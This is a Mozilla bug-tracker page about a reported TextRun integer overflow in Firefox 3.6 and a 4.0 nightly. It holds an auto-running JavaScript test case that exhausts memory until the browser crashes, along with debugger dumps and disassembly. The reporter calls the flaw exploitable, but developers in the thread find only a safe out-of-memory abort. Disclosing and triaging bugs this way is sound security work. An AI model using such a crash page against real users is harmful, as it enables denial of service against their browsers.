Closed Bug 628228 Opened 13 years ago Closed 3 years ago

TextRun integer overflow

Categories

(Core :: Layout: Text and Fonts, defect)

x86
Windows XP
defect
Not set
critical

Tracking

()

RESOLVED INCOMPLETE

People

(Reporter: info, Assigned: jfkthame)

Details

(Keywords: crash, testcase, Whiteboard: [sg:dos?][null-pointer access or oom])

Attachments

(2 files, 1 obsolete file)

User-Agent:       Mozilla/5.0 (Windows NT 5.1; rv:2.0b10pre) Gecko/20110123 Firefox/4.0b10pre
Build Identifier: 

TextRun integer overflow.
------------------------

Integer overflow on a TextRun, which is likely to be exploitable.

Affected:
---------

Mozilla Firefox 3.6.13
Minefield 4.0b10pre (2011-01-23) (nightly)


Image
-----
memory\jemalloc\crtsrc\new.cpp @ 61


Procedure:
-----------

0012a5a8 100c0ad4 MOZCRT19!operator new(unsigned int size = 0x41414141)+0x73
0012a668 101106fd xul!gfxWindowsFontGroup::MakeTextRun(unsigned char * aString = 0x41414141 

"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX...


Stack trace
-----------

CPU - main thread, module kernel32

EAX 0012A890
ECX 00000000
EDX 781D7BA8 MOZCRT19.781D7BA8
EBX 01100121
ESP 0012A88C
EBP 0012A8E0
ESI 0012A918
EDI 00000164
EIP 7C812AFB kernel32.7C812AFB

C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr 00000000 ERROR_SUCCESS
EFL 00200206 (NO,NB,NE,A,NS,PE,GE,G)

ST0 empty 61.000000000000000000
ST1 empty 0.0
ST2 empty 1.0000000000000000000
ST3 empty 0.0
ST4 empty 0.0
ST5 empty 0.0
ST6 empty 0.0
ST7 empty 0.0
               3 2 1 0      E S P U O Z D I
FST 0120  Cond 0 0 0 1  Err 0 0 1 0 0 0 0 0 (LT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
Last cmnd 001B:10110277 xul.10110277

XMM0 00000000 00000000 00000000 00000000
XMM1 00000000 00000000 00000000 00000000
XMM2 00000000 00000433 00000000 00000433
XMM3 00000000 00000000 00000000 00000000
XMM4 01D8B000 7FDE7800 7FDE7400 7B3A4C00
XMM5 7FDDE800 7FDDE000 7FDDD800 7FDDD000
XMM6 7FDE0800 7FDE0000 7FDDF800 7FDDF000
XMM7 00000000 00000000 00000000 00000000
                                P U O Z D I
MXCSR 00001FA1  FZ 0 DZ 0  Err  1 0 0 0 0 1
                Rnd NEAR   Mask 1 1 1 1 1 1

CPU Stack
Address   Value      ASCII Comments
0012A88C  /04C19320   ?Á
0012A890  |E06D7363  csmà
0012A894  |00000001  ...
0012A898  |00000000  ....
0012A89C  |7C812AFB  û*|  ; RETURN from ntdll.RtlRaiseException to kernel32.7C812AFB
0012A8A0  |00000003  ...
0012A8A4  |19930520   ?
0012A8A8  |0012A928  (©.
0012A8AC  |781CAA34  4ªx
0012A8B0  |0000000C  ....
0012A8B4  |78132E76  v.x  ; RETURN to MOZCRT19.78132E76
0012A8B8  |0081110C  ..
0012A8BC  |781A8A50  P?x
0012A8C0  |7813D051  QÐx  ; RETURN from MOZCRT19._encode_pointer to MOZCRT19.7813D051
0012A8C4  |0081110C  ..
0012A8C8  |781A8A50  P?x
0012A8CC  |781324C4  Ä$x  ; RETURN from ntdll.RtlLeaveCriticalSection to MOZCRT19.781324C4
0012A8D0  |781D7BA8  ¨{x
0012A8D4  |0012A914  ©.
0012A8D8  |781317B7  ·x  ; RETURN from MOZCRT19._unlock to MOZCRT19.781317B7
0012A8DC  |00000008  ...
0012A8E0  |0012A918  ©.
0012A8E4  \7815C52B  +Åx  ; RETURN from kernel32.RaiseException to MOZCRT19.7815C52B
0012A8E8   E06D7363  csmà  ; Code = E06D7363
0012A8EC   00000001  ...  ; Flags = EXCEPTION_NONCONTINUABLE
0012A8F0   00000003  ...  ; ArgCount = 3
0012A8F4   0012A90C  .©.  ; Arguments = 0012A90C -> 19930520

/ snip

0012AA7C   8000000A  ...?
0012AA80   0012C54C  LÅ.  ; ASCII 41,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012AA84   0012B0D0  а.
0012AA88   10110816    ; RETURN from xul.102EF6E0 to xul.10110816
0012AA8C   00000011  ...
0012AA90   04C331A0   1Ã
0012AA94   00000000  ....
0012AA98   00000000  ....
0012AA9C   33730F50  Ps3
0012AAA0   0012ACE8  è¬.
0012AAA4   01D98300  .?Ù
0012AAA8   38764940  @Iv8
0012AAAC   00000000  ....
0012AAB0   800000C8  È..?
0012AAB4   41414141  AAAA
0012AAB8   41414141  AAAA
0012AABC   41414141  AAAA
0012AAC0   41414141  AAAA
0012AAC4   41414141  AAAA
0012AAC8   41414141  AAAA
0012AACC   41414141  AAAA
0012AAD0   41414141  AAAA
0012AAD4   41414141  AAAA
0012AAD8   41414141  AAAA
0012AADC   41414141  AAAA
0012AAE0   41414141  AAAA
0012AAE4   41414141  AAAA
0012AAE8   41414141  AAAA
0012AAEC   41414141  AAAA
0012AAF0   41414141  AAAA
0012AAF4   41414141  AAAA
0012AAF8   41414141  AAAA
0012AAFC   41414141  AAAA
0012AB00   41414141  AAAA
0012AB04   41414141  AAAA
0012AB08   41414141  AAAA
0012AB0C   41414141  AAAA
0012AB10   41414141  AAAA
0012AB14   41414141  AAAA
0012AB18   41414141  AAAA
0012AB1C   41414141  AAAA
0012AB20   41414141  AAAA
0012AB24   41414141  AAAA
0012AB28   41414141  AAAA
0012AB2C   41414141  AAAA
0012AB30   41414141  AAAA
0012AB34   41414141  AAAA
0012AB38   41414141  AAAA
0012AB3C   41414141  AAAA
0012AB40   41414141  AAAA
0012AB44   41414141  AAAA
0012AB48   41414141  AAAA
0012AB4C   41414141  AAAA
0012AB50   41414141  AAAA
0012AB54   41414141  AAAA
0012AB58   41414141  AAAA
0012AB5C   41414141  AAAA
0012AB60   41414141  AAAA
0012AB64   41414141  AAAA
0012AB68   41414141  AAAA
0012AB6C   41414141  AAAA
0012AB70   41414141  AAAA
0012AB74   41414141  AAAA
0012AB78   41414141  AAAA


Example.
--------


<script>

var el = document.createElement('div');
el = document.body.appendChild(el);

var stack = "AAAAAAAAAAAAAAAA"; // 16

function bar() {
         
for(i=0;i<1000000;i++){
	it =document.createElement('option');
	it.innerHTML = stack;
	it=el.appendChild(it);
        stack += 'XXXX'; // +4
}

for(k=0;k<1000000;k++) {
    it.innerHTML= stack;
}

}

setInterval("bar()",1);

</script>
 

Reproducible: Always

Steps to Reproduce:
1. run test case (will launch automatically)
2. wait. If it doesn't crash, increment the loop
3. should crash.
Actual Results:  
Buffer overflow we could control.

Expected Results:  
Don't overflow.
Attached file test case (runs automatically) (obsolete) —
Attached file windbg log
Component: General → Security
Attached file New test case
The 1st test case didn't have BODY tag, and thus will not work. My apologies. The first test case can be removed.
I'm rushing it ;-) The first test case didn't have a BODY element, my apologies. Please run the 2nd test case. The 1st one can be deleted since it will not work.
Attachment #506336 - Attachment is obsolete: true
Component: Security → Layout: Text
QA Contact: general → layout.fonts-and-text
Assignee: nobody → jfkthame
> TextRun integer overflow

Where do you see an integer overflow?
I have tested this on XP, Win7, Linux and OSX.  Both trunk and branch builds.
I didn't see any evidence of integer overflow anywhere.  The vast majority
of crashes are deliberate process termination on out-of-memory.
I got a few null-pointer crashes due to malloc returning NULL in non-jemalloc
builds (1.9.2 on OSX).  No scary crashes AFAICT.
Keywords: crash, testcase
Whiteboard: [sg:dos?][null-pointer access or oom]
Hi Mats,

It's there, but probably not very obvious. Let's say we use a 32-bit unsigned integer constant 0xffffffff:

var stack = unescape("\xff\xff\xff\xff\xff\xff\xff\xff");

Then this is what happens:
--------------------------------------------------------

0012a5a8 100c0ad4 MOZCRT19!operator new(unsigned int size = 0xffffffff)+0x73 
0012a668 101106fd xul!gfxWindowsFontGroup::MakeTextRun(unsigned char * aString
 = 0xffffffff "--- memory read error at address 0xffffffff ---" 

--------------------------------------------------------

We obviously get a memory read error. If we add 0x1 we should be able to overflow it. (0xffffffff + 1 = 0x0) In my case it did, because our application did not crash anymore with the addition. Since I have to trigger an exception to see what is going on, I can not use it in a bug report since one will be under the impression that nothing has happened. Even if it didn't overflow, it's unwise to let me control a pointer at will. At a minimum it could be a NULL, but that is bad enough. I could be completely wrong though, but this what I noticed so far.
> We obviously get a memory read error.

WinDbg got a memory read error when it tried to read that address
to display the string value, but that's an entirely different matter.

You can't trust what WinDbg says about the values on the stack in an
optimized build.  I'm pretty sure neither gfxWindowsFontGroup::MakeTextRun
nor 'operator new' was called with the values that WinDbg shows.
GDB on Linux/OSX gets this wrong too when used on release builds.
As far as I know, the only way to see the correct values is to use
a debug build (and even that fails sometimes).
I use three debuggers: Ollydbg, Immunity and Windbg. Trace is done in Olly. I only got the symbols for Windbg. Btw, if I run a nightly it loads faulty symbols. Any idea why this happens?
The operator_new accounts for it.

-> obj-firefox/memory/jemalloc/src/new.cpp

Should be a failed malloc, possibly followed by a dereferenced NULL pointer

Looks pretty consistent to me so far. I know OOM's get called out quickly, but remember that we don't always have to crash towards an exception. There are quite a couple of bugs listed on Bugzilla that _are_ exploitable and were called out for an OOM, then supposedly we're fixed while returning a couple months later with a full-blown exploit. Also, I did not get an OOM on Minefield 4.0b10pre 2011-01-23 nightly. It simply crashed.
> Also, I did not get an OOM on Minefield 4.0b10pre 2011-01-23 nightly.
> It simply crashed.

In VS Express 2008 I get this stack for a 4.0b10pre 2011-01-25 nightly:

	mozalloc.dll!mozalloc_abort(const char * const msg=0x003e20fc)  Line 77	C++
 	mozalloc.dll!mozalloc_handle_oom()  Line 54 + 0xa bytes	C++
 	xul.dll!nsTArray_base<nsTArrayDefaultAllocator>::EnsureCapacity(unsigned int capacity=0x00003fe1, unsigned int elemSize=0x00000004)  Line 98 + 0x11 bytes	C++
 	xul.dll!gfxHarfBuzzShaper::SetGlyphsFromRun(gfxContext * aContext=0x03f99a90, gfxTextRun * aTextRun=0x5c0ffe20, _hb_buffer_t * aBuffer=0x3a4fd400, unsigned int aTextRunOffset=0x00000000, unsigned int aRunLength=0x00003fe1)  Line 980 + 0x2a bytes	C++
 	xul.dll!gfxHarfBuzzShaper::InitTextRun(gfxContext * aContext=, gfxTextRun * aTextRun=, const wchar_t * aString=, unsigned int aRunStart=, unsigned int aRunLength=, int aRunScript=)  Line 884	C++
...

It looks like a safe OOM abort to me.
There is indeed a difference in the stack from Mozilla Firefox 3.6.13 and Minefield 4.0b10pre 2011-01-23. The above traces were only done on 3.6.13. Here is a trace I just did with Minefield 4.0b10pre 2011-01-23 nightly, and is consistent with your comment. However, it does crash my copy. Also, I noticed yesterday that we don't need huge loops. A mere 27000 rounds (of added elements) will suffice, and that number might be even lower yet.

CPU - main thread, module mozalloc

EAX 00000000
ECX 362C0BF9
EDX 781D6C50 MOZCRT19.781D6C50
EBX 00000000
ESP 0012D54C
EBP 0012D57C
ESI 78143280 MOZCRT19.__iob_func
EDI 78187640 MOZCRT19.fputs
EIP 003E1A3A mozalloc.003E1A3A

XMM0 00580058 00580058 00580058 00580058
XMM1 00580058 00580058 00580058 00580058
XMM2 00580058 00580058 00580058 00580058
XMM3 00580058 00580058 00580058 00580058
XMM4 00580058 00580058 00580058 00580058
XMM5 00580058 00580058 00580058 00580058
XMM6 00580058 00580058 00580058 00580058

CPU Disasm
Address   Hex dump          Command                                  Comments
003E1A3A    8B0D 00000000   MOV ECX,DWORD PTR DS:[0]
003E1A40    010D 48333E00   ADD DWORD PTR DS:[3E3348],ECX
003E1A46    6A 7F           PUSH 7F
003E1A48    FF15 78203E00   CALL DWORD PTR DS:[<&MOZCRT19._exit>]
003E1A4E    5F              POP EDI
003E1A4F    5E              POP ESI
003E1A50    8B4C24 04       MOV ECX,DWORD PTR SS:[ESP+4]
003E1A54    8B01            MOV EAX,DWORD PTR DS:[ECX]
003E1A56    8B50 04         MOV EDX,DWORD PTR DS:[EAX+4]
003E1A59    FFD2            CALL EDX
003E1A5B    50              PUSH EAX

003E1A5C    E8 ADFFFFFF     CALL ?mozalloc_abort@@YAXQBD@Z

003E1A61    CC              INT3

003E1A62    68 FC203E00     PUSH OFFSET 003E20FC                     ; ASCII "out of memory"
003E1A67    E8 A2FFFFFF     CALL ?mozalloc_abort@@YAXQBD@Z
003E1A6C    CC              INT3

003E1A6D    8B4424 08       MOV EAX,DWORD PTR SS:[ESP+8]
003E1A71    8B4C24 04       MOV ECX,DWORD PTR SS:[ESP+4]
003E1A75    56              PUSH ESI
003E1A76    50              PUSH EAX
003E1A77    51              PUSH ECX
003E1A78    E8 25F6FFFF     CALL <JMP.&MOZCRT19.memalign>            ; Jump to MOZCRT19.memalign
003E1A7D    8BF0            MOV ESI,EAX
003E1A7F    83C4 08         ADD ESP,8
003E1A82    85F6            TEST ESI,ESI
003E1A84    75 10           JNE SHORT 003E1A96
003E1A86    FF15 A4203E00   CALL DWORD PTR DS:[<&MOZCRT19._errno>]
003E1A8C    8338 16         CMP DWORD PTR DS:[EAX],16
003E1A8F    74 05           JE SHORT 003E1A96

003E1A91  ^ E9 CCFFFFFF     JMP ?mozalloc_handle_oom@@YAXXZ
003E1A96    8BC6            MOV EAX,ESI
003E1A98    5E              POP ESI
003E1A99    C3              RETN

003E1A9A    8B4424 0C       MOV EAX,DWORD PTR SS:[ESP+0C]
003E1A9E    8B4C24 08       MOV ECX,DWORD PTR SS:[ESP+8]
003E1AA2    8B5424 04       MOV EDX,DWORD PTR SS:[ESP+4]
003E1AA6    50              PUSH EAX
003E1AA7    51              PUSH ECX
003E1AA8    52              PUSH EDX
003E1AA9    E8 12F6FFFF     CALL <JMP.&MOZCRT19.posix_memalign>      ; Jump to MOZCRT19.posix_memalign
003E1AAE    83C4 0C         ADD ESP,0C
003E1AB1    85C0            TEST EAX,EAX
003E1AB3    74 0A           JE SHORT 003E1ABF
003E1AB5    83F8 0C         CMP EAX,0C
003E1AB8    75 05           JNE SHORT 003E1ABF

003E1ABA  ^ E9 A3FFFFFF     JMP ?mozalloc_handle_oom@@YAXXZ
003E1ABF    C3              RETN

003E1AC0    8B4424 04       MOV EAX,DWORD PTR SS:[ESP+4]
003E1AC4    50              PUSH EAX
003E1AC5    FF15 A8203E00   CALL DWORD PTR DS:[<&MOZCRT19._strdup>]
003E1ACB    83C4 04         ADD ESP,4
003E1ACE    85C0            TEST EAX,EAX
003E1AD0    75 05           JNE SHORT 003E1AD7

003E1AD2  ^ E9 8BFFFFFF     JMP ?mozalloc_handle_oom@@YAXXZ
003E1AD7    C3              RETN

003E1AD8    8B4424 08       MOV EAX,DWORD PTR SS:[ESP+8]
003E1ADC    8B4C24 04       MOV ECX,DWORD PTR SS:[ESP+4]
003E1AE0    50              PUSH EAX
003E1AE1    51              PUSH ECX
003E1AE2    E8 E5F5FFFF     CALL <JMP.&MOZCRT19.calloc>              ; Jump to MOZCRT19.calloc
003E1AE7    83C4 08         ADD ESP,8
003E1AEA    85C0            TEST EAX,EAX
003E1AEC    75 05           JNE SHORT 003E1AF3

003E1AEE  ^ E9 6FFFFFFF     JMP ?mozalloc_handle_oom@@YAXXZ
003E1AF3    C3              RETN
I don't see evidence that this bug needs to remain private. Seems like Mats doesn't either. Opening it up.

Marking confirmed since Mats was able to reproduce.
Group: core-security
Status: UNCONFIRMED → NEW
Ever confirmed: true

Marking this as Resolved > Incomplete since the attached test case isn't working anymore and the reporter cannot be contacted to provide a result of the issue.

Status: NEW → RESOLVED
Closed: 3 years ago
Resolution: --- → INCOMPLETE
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: